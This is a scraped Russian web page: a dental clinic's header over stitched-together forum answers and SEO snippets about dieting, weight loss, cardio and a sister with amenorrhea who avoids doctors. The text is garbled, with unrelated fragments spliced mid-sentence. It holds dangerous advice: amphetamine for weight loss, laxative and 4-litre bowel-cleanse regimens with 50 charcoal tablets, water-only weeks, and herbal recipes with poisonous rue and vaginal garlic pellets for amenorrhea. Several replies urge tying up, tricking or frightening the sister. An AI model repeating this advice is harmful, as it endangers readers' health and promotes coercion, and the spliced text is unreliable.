Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Какая самая простая и эффективная диета??

Проживание в африке где то в намибии

Как подобрать персональную диету? Для того, чтобы ваша персональная диета была действительно составленной лично для вас, рекомендуется встретиться с диетологом или специалистом по здоровому питанию.

Простых нет. Любая диета, это насилие над организмом и психикой.

Еш вода пей вода не посеришь не когда)))))))))))

Сократить потребление калорий в сутки и не есть сладкого! Остальные диеты - это развод...

Московская! ешь и худеешь) она самая простая. кушай смузи ( фрукты в блендере) или просто откажись от мучного

Меньше жрать, но больше двигаться. заниматься физическим трудом.

Коллекция изображений как правильно подобрать для себя диету от пользователя Антон Шабанов.Как подобрать растения с правильной энергетикой для каждой комнаты? - Портал Домашний .

Кушать все, но по малу )и СПОРТ! без него, накакая диета не поможет )Иначе кожа как у шарпея будет (

Средиземноморская, подробнее:

Есть диета - супер. Можно кушать ФСЁ, но выполняя 3 условия:
1. Сидя
2. Перед зеркалом
3. Голой))) )
А если серьезно:
Никакие продукты исключать не надо, просто кушать не больше положенных ккал 5 р в день маленькими порциями. А тут уж выбирай кусочек торта или полноценный обед. Они сами себя исключат (высококалорийные) или будут доведены до мизера - чисто для удовольствия. Главное добавить спорт и 2-3 л воды
Аэробные нагрузки (бег, велик, скакалка) - быстрый путь к сжиганию жира.
А упражнения с отягощениями — это вид анаэробной физической активности, при кото¬ром, в отличие от аэробики, в качестве источника энергии жир не используется. Конечно, с течением времени при занятиях с отягощениями и ростом мышечной массы количество жира уменьшается. В свою очередь, увеличение мышечной массы ускоряет метаболизм (обмен веществ) , что ведет к сгоранию большего числа калорий и уменьшению количества жировой ткани.
Налегай на белки (мясо, рыба, яйца, творог, молочка) , обязательно углеводы (каши, фрукты) , жиры (масло сливочное и растительное и клетчатка с витаминами ( овощи) . Вобщем питайся полноценно здоровой пищей.

Не есть после 6 вечера и полностью исключить - майонез, хлеб, булки, картошку

На какой диете лично вы сидите зимой?

На пивной.

В этой статье вы узнаете как подобрать диету для похудения. Выберите для себя свою личную программу питания, чтобы придерживаться ее как можно дольше . Никто лучше вас не знает ваше тело.

Ни на какой, а зачем? я своему организму друг.

На какой летом, на такой и зимой - сокращаю порции в два раза

На голодной!!! и зимой и летом!

Ребята,скажите пожалуйста ,как можно похудеть быстро и эффективно без вреда здоровью похудеть,возможно ли такое?

Сидеть на туалете после слабительного)))

Необходимо отметить, что самостоятельно подбирать себе диету категорически противопоказано тем людям, которыеЛичные обстоятельства. Прежде всего решите для себя, хотите ли Вы следовать указаниям или желаете сами принимать решение, что съесть.

Спорт

Меньше ЖРАТЬ

Амфитомин - быстро, без нагрузок, но ОЧЕНЬ опасно

Пьер Дюкан Я не умею худеть
http://lib.rus.ec/b/301769/read

Похудеть быстро и без вреда здоровью вряд ли получится. Если быстро худеть, то вес потом вернется.

Как подобрать диету для похудения. Сотни сайтов дают различные рецепты как оптимальнее устранить лишний вес, у каждого свой неповторимый метод. Мы проанализировали сотни диет и поняли универсальных диет не существует. Выберите себе свою личную эффективную диету...

Как подобрать для себя диету?!

Не ешь!! и пешие прогулки

Как подобрать диету для себя?Прежде чем выбирать диету, следует внимательно ознакомиться с тем, из каких продуктов питания она состоит. Если вам что-то не нравится из состава, то лучше даже не пытаться.

Нас всех так приучили к диетам, что мы сразу ищем готовые рецепты. А их нет, как нет двух одинаковых людей.
Сколько было этих диет! Английская и французская, китайская и японская, диета Ларисы Долиной, и, наконец, до Кремля добрались.
Но все они, если и помогают, то только на время уменьшить вес, причем не самым безопасным и безболезненным способом. Однако, как только человек прекращает соблюдать такую диету, вес его начинает расти. Хотите знать почему?
Давайте представим себе, то будет, если, воспользовавшись ЛЮБОЙ! диетой, Вы резко ограничиваете свой рацион, недополучая при этом норму необходимого белка и других компонентов.
В условиях частичного дефицита белка организм немедленно принимается расходовать собственные ткани - мышцы, печень, иммунные клетки.
Уменьшение веса при любом таком похудении идет не только за счет жиров, но и фактически путем распада собственных мышц, что неминуемо ведет к их дистрофии.
Примерно 1/3 из ушедших при соблюдении «книжной диеты» кило¬граммов приходится на распад мышечной ткани. Вес тела действительно может быстро уменьшаться, но теперь Вы представляете за счет чего!
Мало того, что Вы нанесете непоправимый ущерб своему здоровью, так к тому же Вы резко сократите количество своей мышечной ткани, тем самым лишая себя возможности дальнейшего полноценного сжигания жиров.
Ведь жиры сгорают именно и только при работе мышц!
Внешне это обычно проявляется тем, что на каком-то этапе соблюдения очередной «супермодной диеты» Вы постепенно перестаете худеть, хотя все время до минимума сокращаете свой рацион.
Обычно, после этого периода изнурительного голодания Вы, отчаявшись, все бросаете и с горя наедаетесь «до отвала» . При этом мышечная ткань, конечно, не может быстро восстановиться и ее место с успехом занимают поступившие с избытком пищи жиры. Причем возвращается она почти всегда с неболь¬шим избытком!
Через какое-то время Вы в очередной раз делаете отчаянную попытку похудеть, и история повторяется, но при этом мышцы «тают» еще больше и Вы даже уже не можете вернуться к тому весу, с которого начинали.
Когда соблюдают диету, как правило, обращают внимание только на внешние признаки: изменение веса, размер одежды, но игнорируют невидимые, отрицательные результаты диеты, такие, как возникновение дефицита витаминов и минералов, сбой в обмене веществ.
Вы искусственно ограничиваете себя в еде, и мозг не получает сигналов о насыщении, дает организму команду усиленно переводить в жир все съедобное в неограниченных размерах.
Это все равно, что пытаться отремонтировать часовой механизм с помощью молотка и зубила.
Все профессиональные диетологи знают, что никакие стандартные диеты не могут в принципе решить проблему избыточного веса! Их времена давно ушли в прошлое.
В последнее время появились принципиально новые, авторские врачебные методики, позволяющие достаточно легко похудеть не испытывая при этом чувство голода и конечно не прибегая ни к каким «Тайским таблеткам» !
Стабильный результат дает только комплексный подход, и начинается он, с определения причины, а заканчивается составлением программы лечения и рациона питания.
Одной диетой здесь не поможешь.
Ведь что такое диета? Грубая инструкция с сомнительным результатом. Как она вообще способна учитывать не только причины появления избыточного веса, но и индивидуальные особенности каждого человека.
Если Вы действительно хотите похудеть, - не надо ставить экспериментов над собственным здоровьем!
Обратитесь к ЛЮБОМУ! опытному врачу-диетологу.
Он поможет определить, какой именно способ снижения веса подходит именно Вам.
Проведя соответствующее обследование, разработает персональную программу питания конкретно для Вас. При этом худея под контролем врача, Вы застрахованы от нанесения непоправимого вреда своему здоровью.

Надо выбирать ту диету, которая тебе легко дается, потому что организм сам знает, что ему нужно, а что нет.
Вот я как-ьл раз решила в качестве диеты отказаться от мучного и сахара. Сахар заменила медом (все-таки он как-то ближе к естественной природе, чем десять раз вываренные кристаллы непонятно чего ;) ), ну а хлеб - никогда не слышала, чтоб человеку говорили, что он наносит вред своему здоровью, не потребляя булочки и французские батоны. Вместо хлеба у меня макарон у меня были овощи, рис гречка и чечевица. Привыкла быстро, за полтора месяца сбросила два килограмма.

А еще мне достаточно легко даются посты. В вегитарианской и постной кухне есть масса сытных и вкусных блюд.

Кто-то садится на мясо, кто-то - на бананы и авокадо какие-нибудь. Короче, каждому свое что-то подходит. Главное - не насильничать над собой. Потому что (не считая случаев диабета, ожирения, дистрофии и т. п. - это уже крайности) - не должно тебе быть дискомфортно от выбранного образа жизни.

А! И вот еще, недавно вычитала: "Все самое лучшее в нашем мире либо аморально, либо приводит, в конечном счете, к ожирению" ))))))))))))

Лучшая диета эта много сехса н-нда. МНОГО.
И мало, мало кушать на ночь. Вот !

Нужно выбирать по своей индивидуальности.
Наиболее полный список диет мира: http://7290000.ru/diete/index.html
Рекомендую посмотреть мою электронную книгу "Жесткая диета и смежные вопросы" о здоровье и похудении. Там вы сможете ознакомиться с личным опытом автора проведения полных голоданий и жёстких диет, а также прочитать материалы, которые будут интересны тем, кто желает похудеть. Чтобы открыть книгу, кликните здесь.

Бесконечное качание пресса и все, а диету Вам даже врач не сможет подобрать праильно, так то вот.

То, что к диетам надо подходить без фанатизма это да. Но я если себя начинаю чувствовать нехорошо от какого-то продукта, то просто отказываюсь от него и все.Исходя из этого я и подобрала себе диетическую программу нутрико даэт и отлично похудела на 5,5 кг за неделю.

Каждое утро натощак съедать рисинки начиная с 10 штук и увеличивая каждое утро на одну и запивать стаканом теплой воды ( можно больше) . Как дойдет количество до 100 - по убывающей, но одно условие кушать можно начинать только с 11 часов утра и нельзя кушать после 18 часов вечера. Пейте как можно больше воды.

Какая самая модная и эффективная диета 2014 года?

Не жрать на ночь :)

Как подобрать эффективную диету. 08.04.2014. Подобрать правильную и эффективную диету стремятся многие люди, имеющие проблемы с лишним весом. Они не только хотят избавиться от нескольких килограммов, а больше никогда их не набирать.

Фортранс (все 4 литра раствора, плюс чистая вода время от времени) + энтеросгель (1 упаковка) + активированный уголь (50 таблеток) + двое выходных. "Кефир-клистир-сортир", как в анекдоте, но пока без кефира. После такой "прокачки" надолго теряется склонность к обжорству и пьянству, также хорошая нагрузка на гладкие мышцы желудка и кишечника, и в то же время хороший стабильный двухдневный отдых для печени и поджелудочной. Выход из этого состояния - с помощью бифидокефира и прочей вегетарианской и псевдовегетарианской натуральной пищи. Как снова заметите, что слишком много "пей пиво - ешь мясо" и прочего употребления тяжёлой либо избыточной пищи, а справиться с этим без радикальных мер не в силах - повторите снова.
Ах, да - полностью воздержаться от еды в это время, чистка же :)))
Не претендую на абсолютную истину - но мне помогает.

Гранит науки на ужин

За реально нормальной диетой для вас нужно идти к диетологу, диета которая подойдёт кому-то, вам может и не подойти, а лутше всего это бег, пресс, постоянная подвижность!

А вы всегда слепо следуете моде или здоровье все таки чуточку интересует???

Садитесь на гречневую диету, почистите еще организм за одно. И болше двигайтесь, даже не обязательно упражнения, просто гуляйте по улице

Личный кабинет ВОЙТИ Забыли пароль?Прежде всего надо знать, что самостоятельно подбирать себе диету категорически противопоказано тем, кто страдает сахарным диабетом гипертонией ишемической болезнью сердца ожирением 3 степени.

Я сейчас не сижу на диетах, но чаще всего в этом году на многих сайтах читала о диете Дюкана и Гречневой диете, как о более эффективных для похудения. Хотя глупо следовать модным диетам, лучше подобрать более подходящую лично для себя или просто начать правильно питаться, без всяких диет.

НЕ ЖРАТЬ) ) а вообще это безусловно правильное питание ну и спорт)

Рациональное питание

Если пить воду целую неделю и таблетки угольные. Можна похудать? Надо скинуть за неделю 10 кг

Если ты сейчас весишь 200 кг, то может быть и получится.

Как подобрать диету для себя?Прежде чем выбирать диету, следует внимательно ознакомиться с тем, из каких продуктов питания она состоит. Если вам что-то не нравится из состава, то лучше даже не пытаться.

10 кг за неделю????
Если получится можете претендовать на нобелевскую премию
Люди месяцами из спортзалов не вылазиют за каждый кг бъются, а она за неделю захотела ничего не делая 10 кг скинуть....

На кладбище очередь занимай с такой диетой.
Нужно жиры, белки, углеводы хотя бы немного и физ нагрузки.

1.Выпивать не менее 2 литров воды. Попробуйте пить 8 стаканов воды в день и уже через неделю, вы заметите изменения в лучшую сторону. Через две недели, ваш организм начнет работать как часы. Важно! Пьем воду до еды, после еды необходимо подождать 30-40 минут.
Для мягкой активации пищеварительного тракта после пробуждения, рекомендуется натощак выпивать 1 стакан воды.
2. Распланируйте свой рацион на 5-6 разовое питание в течении дня (тем самым организм не будет входить в режим экономии и накапливать энергию в виде жира.) Конечно полноценно питаться 5-6 раз в день работающей женщине сложно. По этому, предлагаю вам взять в привычку носить в сумочке небольшое яблоко, орехи или нежирный йогурт. Прекрасные и полезные перекусы .
3. Кушать вечером можно. Главное, что бы последний прием пищи был за 3 часа до сна. Не можете уснуть не перекусив на сон грядущий? Выпейте стакан кефира.) Пить воду допускается в любое время.
4. Выработайте привычку пить чай и кофе без сахара, также и без каких - либо добавок.
5. Разгрузочный день без вреда фигуре можно проводить 1 раз в неделю. Полностью отказываться от пищи в разгрузочный день не рекомендуется - пейте кефир, или ешьте постное куриное мясо.
6. Лучшее время для занятием спортом вечер. Активность сердечнососудистой системы максимальна к 18 часам, соответственно, это самое подходящее время для тренировок. Идеальное время для спорта с 17:00 до 20:00
7. Легкая зарядка утром "разгонит" обмен веществ, поможет проснуться и поднять жизненный тонус и настроение.
8.Завтрак - самый важный этап дня, никогда не пропускай его! На завтрак можно все! Все, что мы съедаем до 12 часов, полностью усваивается организмом и не откладывается «про запас»
9. Супы, бульоны, салаты, отварное нежирное мясо, овощи, фрукты идеальны для обеда. Не забудьте перед едой выпить стакан воды!
10.Йогурт, салат, кефир, отварное нежирное мясо, овощи подойдут на полдник.
11. Легкий салат, творог, йогурт или немного тушеных овощей - так выглядит идеальный ужин.
12. Фрукты, особенно сладкие, лучше есть в первой половине дня.
13. Для тех кто всерьез решил сбросить лишние килограммы,
Диета рассчитана на 7 дней и не нанесет вреда организму.
День первый - в этот день мы только пьем. Пить можно все, кроме газированных сладких напитков. Бульоны (без соли), чаи, соки, молоко, кефир, ряженка, сыворотки.
День второй - Овощной. Весь день едим любые овощи и овощные салаты с добавлением растительного (оливкового) масла.
День третий - питьевой. Повторяем все как в первый день.
День четвертый - фруктовый. Едим любые фрукты в любом количестве.
День пятый - белковый. Едим отварное мясо, куриное филе, рыбу и морепродукты, творог и яйца.
День шестой - питьевой.
День седьмой - выход из диеты. Утро - 2 яйца, через 3 часа фрукты, на обед - бульон с мясом, перекус через 2-3 часа - фрукты и на ужин овощной салат.
про жареные блюда стоит забыть на долго. http://www.womenscredo.ru/hudeem-vmeste/

Маловероянто, но возможно. Правда уголь жрать бестолку, а вот побегать и хорошо побегать, придётся. Только сердце не надорвите, вполне реально надорвать его и окочуриться.

А что потом? потом что, опять начинать жрать все подряд??? Диета дает лишь временный эффект, а не на всю жизнь. Сознание свое поменять еще нужно, чтобы быть в красивом и здоровом теле. Наши мысли также формируют наше тело. И переход на правильное питание должен быть после диеты - на всю жизнь. Иначе, все эти диеты никакой пользы не несут, лишь временный эффект, а потом опять - жирная свинья.

В последнее время люди, желающие похудеть первым делом начинают подбирать для себя диету, коих существуетКак подобрать диету по группе крови.всего организма в целом, вегетарианских диет существует огромное множество, лично я бы разделил их на 2 половины.

Правильно питайся: будешь выглядеть лучше! Библия призывает нас к умеренности. В ней осуждается те, кто,, слишком много ест" Но порой сдерживать себя нелегко. Физические упражнения заставляют наш мозг вырабатывать эндорфины-вещества, способные облегчать боль и улучшать самочувствие.

Http://www.missfit.ru/pohudenie/kak-pokhudet-za-nedelyu-na-10-kg-v-domashnikh-usloviyakh/

Причинами избыточного веса могут быть различные заболевания (эндокринная патология в частности), малоподвижный образ жизни (Вы об этом и сами знаете, возможно, что-то в этом отношении можно улучшить) и, безусловно, нерациональное питание. На питании, разрешите остановиться несколько подробнее. Рациональное питание это, прежде всего, оптимальное соотношение макро- (белки, жиры, углеводы) и микро-нутриентов (витамины, минералы и еще тысячи минорных компонентов пищи, крайне важных для нормальной жизнедеятельности организма). Вообще ничего не есть – очень вредно для здоровья! Наоборот, прием пищи должен быть регулярным – 4-5 раз в день как минимум, небольшими порциями (может быть одна из них будет только яблоко или кефир, но тем не менее…) При этом последний прием пищи ежедневно должен быть как минимум за 2-3 часа до сна.
Кроме этого важно, чтобы в организм поступали все необходимые компоненты пищи в достаточном количестве. Среди них – клетчатка (для нормализации деятельности ЖКТ и адсорбции излишнего жира и ненужных веществ в кишечнике), хром (один из основных регуляторов жирового и углеводного обмена), не должно быть анемии (соответственно, если есть железодефицитная анемия, желательно использовать продукты, содержащие железо – его дефицит также способствует накоплению излишнего веса). Кроме этого, должна хорошо функционировать печень, поскольку именно в ней инактивируются и «перерабатываются» все стероидные гормоны, в том числе и эстрогены (как собственные, так и лекарственного происхождения). А при неадекватной работе печени они метаболизируются не до конца, могут накапливаться в крови и создавать определенный гормональный фон, способствующий нарушению функции в женской половой сфере и накоплению лишних килограммов.
Во-вторых, и это тоже очень важно, избыточный вес может быть связан и с чисто психологическими причинами – неуверенность в себе и завтрашнем дне, чувством незащищенности, отсутствием необходимой поддержки и любви. К сожалению, ситуация достаточно часто встречающаяся. Поэтому подсознательно мы как будто увеличиваем «защитную оболочку», чтобы ощутить себя более комфортно. В данной ситуации Вам вполне сможет помочь грамотный и добрый психолог или психотерапевт. Так же очень важна Ваша активная жизненная позиция и стремление к личностному росту. Физическая культура должна быть в Вашей жизни. В настоящее время существует масса возможностей, и подобрать для себя что-то подходящее вполне реально. Если человек не любит спортивных занятий, можно заниматься и дома – но только регулярно! Есть желание – возможности всегда появятся. Вы знаете о том, что одним из лучших методов поддержания фигуры является обычная ходьба? Да, это именно так. При ежедневных (!) прогулках в ускоренном темпе всего лишь в течение получаса на свежем воздухе теряется до 5 кг за полгода.
Прием Биологически Активных Добавок к пище восполняет организм витаминами, микроэлементами и веществами-регуляторами, дефицит которых в нашем современном рационе часто способствует нарушению обмена веществ и накоплению избыточной массы тела.
Но самое важное – помните о принципе «Золотая Середина». Не делайте себе категорических запретов, иначе все равно их нарушите.
Воспитывайте в себе потребность становиться здоровыми и счастливыми!
Вот интересный факт. Регуляция жирового обмена эволюционно устроена так, чтобы сохранить постоянство жировой ткани, поэтому при ее увеличении – именно эта величина и считается «новой нормой» и любые попытки ее уменьшения воспринимаются организмом, как посягательство на «личную собственность», поэтому он отчаянно сопротивляется. Только образ жизни, включающий правильное – рациональное питание + адекватную физическую активность + использование в питании необходимых пищевых веществ (БАД) может быть эффективным.

Кефир + солёные огурцы

Начнутся проблемы с жкт, есть другие методы.

Размещать любую другую информацию, которая по личному мнению Администратора сообщества, модераторов сообщества или Как подобрать для себя правильную диету? К сожалению, обычно более востребованы диеты, которые обещают минимум дискомфорта и...

Нет.. можно похудеть если неделю разгружать уголь)))))))))))

Как уговорить сестру сходить к врачу?!

В смерительную рубашку и в машину

Подобрать себе диету - дело очень важное. Как и супруг, диета будет с вами в горе и в радости, в болезни и в здравии - и в некоторой степени станет вашей спутницей на всю жизнь. Подготовка к тому, чтобы сделать этот выбор,- процесс постепенный.

А сколько лет сестре? Если до 20ти, то повязали и силком к врачу, а если возраст куда более сознательный, то тут ничем не поможешь если головой сама не доходит. Нам не прожить жизнь за другого человека. Могу себе представить что Вы чувствуете, зная что такая проблема у родной сестры.. Сил Вам

Подарите ей запись к врачу в современный центр, может её там дисциплинирует приятный мед. персонал.
А вообще судя по картине лучше к психотерапевту. Бояться врачей в ущерб здоровью- это опасно.

Это поликистоз яичников. Лечат гормонами. Можно гормональные противозачаточные пить. Налаживает цикл.

А почему она не хочет идти к врачу?

Поиграйте с ее чувством вины, или раскажите родителям.

В любом возрасте нам хочется быть стройными и красивыми. Видя свое отражение в зеркале, и припоминая участниц прошедшего конкурса красоты, их стройные фигуры, начинаем сравнивать их и себя. И, надо признаться честно, сравнения часто оказываются не в нашу пользу.

Возможно она просто употребляет наркотики, стимуляторы и т. д. знает что заболеваний "по женски"нет. И не видит смысла идти к врачу. Почему предположил такой вариант? Потому что у девушек употреблчющих наркотики, отсутствие месячных годами это нормально

Обманом затащить

Скажи, что если помрет кремируешь

Никого обманывать не надо! Она что, стаус? Только он от страха прячет голову в песок!

Просто поставьте с утра ее перед фактом!!! вам мол надо а не ей!! ей не надо-пусть не идет! а ради вас, если очень дороги, грех не сходить!!!

Необходимо отметить, что самостоятельно подбирать себе диету категорически противопоказано тем людям, которыеЛичные обстоятельства. Прежде всего решите для себя, хотите ли Вы следовать указаниям или желаете сами принимать решение, что съесть.

Связать

Запугать страшилками что ее ждет, еще нарыть картинок пострашней и показать ей, может и сама вприпрыжку побежит

Скажи дам конфету :D

Может действительно - положительный стимул ?
Ей что-то нужно (что от Вас зависит)? Ставьте условие : идешь к врачу - получишь .
Айфон (или годовой абонент на фитнес) подарю...

Скажи что ей ппц будет если не пойдет, напугай)))) как миленькая побежит

Как подобрать диету? В мире существует множество разнообразных диет. Только их классификация заняла бы несколько страниц, не говоря уже о перечислении их названий.

Сколько ответов... и каких... Прямо сказка. -_-
Сколько лет вашей сестре? Если она ещё очень молода - то нарушения менструального цикла могут быть вызваны ещё несформировавшимся гормональным фоном - может, она слишком много времени тратит на спорт, или сидит на определённой диете (веган, или просто на грани анорексии).
А вообще, лучше поговорите с ней и обсудите её нежелание обращаться к врачу. Если она скажет что-нибудь вроде "детей не хочу, поэтому пофиг" - ответьте, что пока у неё эти органы не вырезаны, они могут вызвать куда больше проблем, чем хотелось бы, комплексных причём. И даже если вашей сестре плевать на возможность бесплодия, то возможность развития рака яичников и органов рядом с оными вызовет куда больше осложнений, которые тоже придётся лечить.
Угрожать, обманывать, тащить силой - это нельзя. Это аморально и бесполезно (лечить человека силой можно только в случае если вы - его опекун, а опекаемый - недееспособен, а это, думаю, не ваш случай), плюс настроит сестру против вас. Просто поговорите. Если даже она принимает наркотики, не надо разводить панику, лучше попробуйте это сначала уточнить, а потом предложите помочь тайком от родителей, и заверьте, что помощь обязательно нужна. Без слёз, крови и истерик. Если она трахается, а сейчас, обнаружив отсутствие месячных, пытается "народными методами" выбить из себя предполагаемого ребёнка - это тоже надо сперва выяснить.
В общем, если хотите помочь, лучше действовать мягкой тактикой. Или рассоритесь в пух и прах, и ещё ничем не поможете.

Пусть ваши родители позаботятся о ней!

Это дисфункция яичников.
Нужна консультация эндокринолога.

В личку

Отключи дома интернет, и ей станет скучно и она пойдет с тобой к врачу

Личный конструктор диеты это персональный подход к каждому!Более того, составление персональной диеты поможет без лишних затрат подобрать подходящее именно для Вас правильное питание, способствующее не только совершенствованию внешности, но и...

Какими народные методы? вы че? она дура чтоли у вас? она сама не понимает последствий? скажиет родителям тогда, пусть они на нее повоздействуют

Врач - враль чей? Доктор - Дока Торы. Не чего там делать.

Милая сестрёночка пошли к врачу он даст тебе леденец или конфетку

Ну не знаю я

Систер взрослая? Должна понимать. Затягивает визит к врачу? Приближает себя к бесплодию. Сейчас не поймёт, потом горько плакать будет, но не исправить

Как подобрать диету правильную? Как выбрать диету эффективную? Пройдите тест!Как выбрать диету и ничего не забыть? Прежде всего, решите для себя с какой целью вы решили похудеть.

Не сюсюкаться. доходчиво объяснить, чем это чревато. жестоко объяснить, может с демонстрацией картинок данной тематики. да так объяснить, чтоб от страха ноги сами ее понесли лечиться.

Захочет детей иметь - спма побежит, только может быть уже ОЧЕНЬ поздно...

Ей голову надо лечить - отравьте ее к нейропсихотерапевту.

Лечение аменореи и устранение её причин. Полноценное питание, нормализация режима труда и отдыха, устранение стресса, занятия физкультурой, эффективное лечение общих инфекционных и соматических заболеваний, выведение поступивших в организм токсинов обычно нормализуют менструальный цикл без гормональной терапии. При аменорее, связанной с нарушениями работы гипофиза и эндокринных желез, применяют гормонотерапию.
ЛЕКАРСТВЕННЫЕ СРЕДСТВА, ИСПОЛЬЗУЕМЫЕ ПРИ ЛЕЧЕНИИ АМЕНОРЕИ (ПО НАЗНАЧЕНИЮ И ПОД НАБЛЮДЕНИЕМ ВРАЧА-ГИНЕКОЛОГА)
Гормональные препараты
Гестагены (Прегнин, Прогестерон)
Эстрогены (Микрофоллин, Прогинова 21, Синэстерол, Эст радерм ТГС, Эстрадурин, Эстриол, Этинилэстрадиол) Комбинированные гормональные препараты (Гинелея, Кли мен, Логест, Нон-овлон, Овидон, Ригевидон, Силест,
Тризистон, Триквилар, Триновум, Тринордиол, Три-ре гол, Фемоден)
Домашние средства лечения аменореи
Очистить 2 кг лука и эту шелуху залить 3 л воды. Варить до тех пор, пока раствор не приобретет темный красно-коричневый цвет, после охладить и процедить. Принимать по 0,5 стакана за 30 минут до еды утром и вечером.
Шелуху от 8 луковиц залить 1 л воды, добавить 2 чайные ложки молотой гвоздики и варить под крышкой 10 минут, после чего процедить и принимать по 150 мл 3 раза в день до еды.
При женских заболеваниях рекомендуется принимать 3 раза в День по 1 чайной ложке натертый лимон или апельсин с кожурой, смешанный с сахаром.
Взять 8 столовых ложек репчатого лука, растертого в кашицу, и 1 измельченный корень мальвы лесной, залить 2 л воды, варить 25 минут, затем добавить 10 г гвоздики в порошке и 5 г сухого нашатыря и кипятить еще 5 минут, процедить. Пить по 50 мл 3 дня до начала менструации.
Для лечения гинекологических расстройств порошок чеснока смешать с топленым маслом какао, водой или медом до тестообразной консистенции и слепить шарики. Хранить такие шарики в холодильнике и вводить их во влагалище на ночь.
Травы и сборы.
Залить 1 столовую ложку листьев конского щавеля 1 стаканом кипятка и настоять, укутав, 2 часа. Принимать по 2 столовых ложки 3 раза в день, разбавляя медом.
Залить 1 столовую ложку плодов и 1 столовую ложку веточек можжевельника с хвоей 1 л кипятка и кипятить на малом огне 5 минут. Пить небольшими глотками через каждые 2 часа в течение дня.
Внимание! При острых заболеваниях почек можжевельник применять нельзя.
Залить 0,5 чайной ложки семян петрушки 2 стаканами холодной воды, настаивать 8 часов. Принимать в течение дня.
При скудных менструациях применяют лист руты. Вскипятить 0,5 стакана воды и уменьшить огонь до такой степени, чтобы кипение воды почти прекратилось. Положить в воду 4 г резаных листьев руты и варить 15 минут, не допуская кипения. Процедить, принять всю дозу утром натощак и после этого в течение 5-6 часов не есть. Такую процедуру выполняют 1 раз.
Внимание! Рута ядовита. Следует строго соблюдать дозировку.
Взять 2 г плодов петрушки, 1 г травы руты. Смесь залить 1,5 стакана воды, кипятить 10 минут, процедить. Принимать по 0,5 стакана 2 раза в день .
Взять по весу по 2 части травы руты и коры крушины, 7 частей листа розмарина. 1 столовую ложку сбора залить 1 стаканом кипятка, настаивать до охлаждения, процедить. Принимать по 2 стакана в день в течение 8 дней. Взять по весу по 2 части травы руты и травы лапчатки, по 3 части травы полыни горькой, плодов можжевельника. Приготовить отвар из 1 столовой ложки смеси на 1 стакан воды. Принимать на ночь.
Ссылка в комментариях.

Значит ей это не нужно.

Как правильно подобрать диету бесплатно для похудения? Для того чтобы определиться с тем, какую именно персональную диету для питания выбрать, нужно рассмотреть несколько вопросов и ответить себе на них.

Захочет ребенка родить - пойдет сама. Но будет поздно. Конец истории.

Подруга тоже страдала от этого и долго не ходила на прием, в итоге длительное лечение, не может забеременеть теперь. Сама себя винит за то, что так долго оттягивала визит к врачу! Пусть сестра задумается о том, что ей детей рожать ещё!

Скажите ей, что цикл без лечения вряд ли сам восстановится. И чем больше затянуть паузу, тем меньше шансов его наладить. Тогда Ваша сестра просто -напросто не будет иметь детей.

Я вот тоже уже в возрасте, прекрасно знаю (проходила 2 года медицину) и меня силой туда не затащить. Не потому что я боюсь, просто канительное это дело. Когда болеешь, то сил нет идти на анализы, сидеть в очереди. Просто жду. А когда легче, то зачем? У нее тоже самое. Я лично бы посоветовала пока ей почитать книгу В. Синельникова "Возлюби болезнь свою" (хорошая книженция, читать с середины). Потом разберетесь с ней.

Заключите с ней пари, что она не пойдёт к врачу 100%.. Посмотрите на результат..

Рекомендуем посетить раздел сайта Диеты и подобрать диету по своему вкусу, либо поделиться своим опытом похудения на форуме Как похудеть, диеты, питание.Личный опыт 2 года 23 недели назад.

Аменорея, судя по всему, на фоне анорексии?
не жрем-с? (((
а тогда чего ожидать? все так и будет, если не хуже. голову надо лечить в первую очередь.

Какие анализы сдавали хоть?

Если она всё понимает, пускай сама и сходит, потом всё сама поймёт

За патлы и вперёд...

Скажите ей что в итоге она так растолстеет, что потом будет не похудеть. Да и волосы на подбородке расти начнут с усами + прыщи угревые страшные

Добавить виджет medikforum.ru в яндекс. Подбор диеты онлайн бесплатно. Подобрать индивидуальную диету. шаг 1 из 4.

А может у вашей сестры проблемы с щитовидной. это может проходить и безсимптомно. Анализ нужно ждать на ТТГ. Или малый вес, до 48 кг.

Раз не хочет, значит не хочет - и детей наверное тоже. таково ее решение, и доля такая, логично ведь.
как пьяницу отучить пить? а никак.
вспомним же - куда ведут благие намерения.

Скажы правде ей

Значит ее все устраивает, нормальный человек сам решает для себя. что ему нужно. Может у нее есть причина не посещать врача. С аменореей сложно забеременеть, например. Может ей это удобно?

А вес какой у нее? бывает что если маленький вес то нет мес.

Личный кабинет.Как подобрать диету бесплатно. Индивидуально и реально бесплатно. Рубрика Здоровье, Автор beautyladi.

Вообще тут не правильно пишут, дело не в вегетарианстве. Если почки слабые или проблемные, вегетарианство, как спасение в таком случае, оттянуть более серьезные проблемы с почками. Им сложно переваривать, выводить тяжелые белки мяса. И в больницах люди вообще на кашах живут и что теперь? В каше все есть, что нужно. И вообще говорят человеку достаточно крупинки икры в день, что бы восполнить необходимый запас микроэлементов, витаминов. Все-таки не растущий организм, а сформировавшийся уже. Еда это не проблема, проблема скорее в стрессовых ситуациях, говорят же все болезни от нервов! Это точное попадание.
А насчет лечения, может ей нужна не медицинская помощь, а более профессиональная?
А в целом, недавно узнала, что из-за менопаузы, смены гормонального фона (или его полное угасание) у женщин развивается остеопороз, артроз, это очень плохая болезнь. Пусть встретится с больными, поговорит с ними и сразу захочет лечиться. Опорно-двигательная система разрушается, ломкая становится. Фаталити.

Пусть врач придет к ней

Уговорить по хорошему.

Вопрос по кардио. Имеет значение темп или время? Что лучше? Целый час быстро идти или 15 минут быстро побегать?

Да, именно в интенсивности. Чем выше, тем лучше. Когда пульс учащается до 100 ударов, вот тогда и происходит сжигание жиров.

Как подобрать правильную диету для своих параметров. Есть огромное количество различных диет. Одна классификации поместилась бы на нескольких страничках, не говоря уже о названиях.

В первую очередь время, потом интенсивность

Важно преодоление максимального расстояния за короткий промежуток времени,
тем самым следует бегать начиная с медленного темпа с постепенным наростом скорости
определенное количество километров за определенный промежуток времени
а просто для здоровья бег в течение 20 минут уже хорошо

Лучше быстрый шаг или медленный бег от 40 мин

Если просто ходить, для этого хватит энергии от сгорания углеводов поступающих в данный момент с кишечника. а они поступают практически весь день

Экстенсивности! кардио аэробная экстенсивная -продолжительная нагрузка а не интенсивная силовая анаэробная! главное время не менее 20минут, 30минут для стойкого результата и средний темп-трусцой чтобы поддерживать ЧСС заданном режиме 70-80%от 220 минус возраст

